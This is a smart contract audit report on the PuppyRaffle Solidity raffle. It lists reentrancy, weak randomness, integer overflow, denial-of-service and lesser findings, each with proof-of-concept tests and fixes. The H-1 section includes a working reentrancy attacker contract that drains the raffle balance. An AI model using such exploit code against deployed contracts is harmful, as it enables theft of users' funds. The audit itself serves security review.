Adnan
Hamid

PuppyRaffle Audit Report

Version 1.0

Adnan Hamid

July 27, 2025

PuppyRaffle Audit Report

Adnan Hamid

July 27 2025

Prepared by: Adnan Hamid Lead Auditors: - Adnan Hamid

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Adnan Hamid team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function. # Executive Summary I loved auditing this codebase.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function doesn't follow CEI (Checks, Effects, Interactions) and as a result enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to `msg.sender` address and only after making that external call we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

->       payable(msg.sender).sendValue(entranceFee);
->       players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue doing so until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participants.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` function.
3. Attacker enters raffle.
4. Attacker calls `PuppyRaffle::refund` function from their attack contract, draining the contract balance.

Proof of Code

Code

Put this in the `PuppyRaffleTest.t.sol`.

```

function test_reentrancyRefund() public  {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;

        // Attack
        vm.startPrank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting Attack Contract Balance: ",
            startingAttackContractBalance);
        console.log("Starting Puppy Raffle Balance: ",
            startingPuppyRaffleBalance);
        console.log("Ending Attack Contract Balance: ", address(
            attackerContract).balance);
        console.log("Ending Puppy Raffle Balance: ", address(
            puppyRaffle).balance);

    }
```

And this contract as well

```

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }
    function attack() external payable{
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
```

```
            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if(address(puppyRaffle).balance >= entranceFee){
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }
        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation: To prevent this we should have the `PuppyRaffle::refund` function update the `PuppyRaffle::players` array before making the external call to `msg.sender`. Additionally we should move the event emission up as well.

```
        function refund(uint256 playerIndex) public {
                address playerAddress = players[playerIndex];
                require(playerAddress == msg.sender, "PuppyRaffle: Only the
                    player can refund");
                require(playerAddress != address(0), "PuppyRaffle: Player
                   already refunded, or is not active");

+               players[playerIndex] = address(0);
+               emit RaffleRefunded(playerAddress);

                payable(msg.sender).sendValue(entranceFee);

-               players[playerIndex] = address(0);
-               emit RaffleRefunded(playerAddress);
            }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values to know them ahead of time to choose the winner of the raffle themselves.

Note: This means users can front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on Prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` tx if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflow.

```
    uint64 myVar = type(uint64).max;
    // 18446744073709551615
    myVar += 1;
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

Code

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow
totalFees = 153255926290448384
```

4. You will not be able to withdraw due to line in `PuppyRaffle::withdrawFees`

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
```

Although you could use `selfDestruct` to send Eth to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much `balance` in the contract that the above `require` will be impossible to hit.

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);


        // We are also unable to withdraw any fees because of the
            require check
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OpenZepplin for version 0.7.6 of solidity, however you should still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from the `PuppyRaffle::withdrawFees`

```
-  require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack. incrementing gas costs for future entrants.

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```

@>    for (uint256 i = 0; i < players.length - 1; i++) {
          for (uint256 j = i + 1; j < players.length; j++) {
              require(players[i] != players[j], "PuppyRaffle: Duplicate
                 player");
          }
      }
```

Impact: The gas costs got raffle entrants will greatly increase as more players enter the raffle. Discouraging new players from entering and causing rush at the start of raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big that no one else enters, guaranteeing themselves a win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503275 gas - 2nd 100 players: ~18995515 gas

This is more than 3x more expensive for the 2nd 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```solidity
    function test_denialOfService() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = gasStart - gasEnd;

        console.log("Gas cost for first 100 players: ", gasUsedFirst);

        address[] memory playersTwo = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = gasStartSecond - gasEndSecond;

        console.log("Gas cost for first 100 players: ", gasUsedSecond);
        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations. 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn’t prevent the same person form entering multiple times, only the wallet address. 2. Consider using mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```diff
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
```

```
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart contract wallets of raffle winners without a `fallback` or `receive` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if winner is a smart contract wallet, that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and lottery reset would get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult. Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function would'nt work, even though the lottery is over!

Recommended Mitigation: There are few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 incorrectly think they have not entered the raffle.

Description: If a player in `PuppyRaffle::players` is at index 0, this will return 0, but according to the natspec, it will also return 0 when a player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
            for (uint256 i = 0; i < players.length; i++) {
                if (players[i] == player) {
                    return i;
                }
            }
            return 0;
        }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, losing gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` will return 0.
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in `PuppyRaffle::players` array instead of returning 0.

You could also reserve the 0th position for any competition, but a better is to return an `int256` where the function returns -1, if the player is not active

Informational

[I-1]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2]: Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither][https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity] documentation for more information.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 66

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 220

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```diff
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you can use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events.

[I-7] `PuppyRaffle` is never used and should be removed.

Gas

[G-1]: Unchanged state variables should be declared constant or immutable.

Reading from storage is more expensive than from constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2]: Storage variable in a loop should be cached.

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```diff
+    uint256 public playersLength = players.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```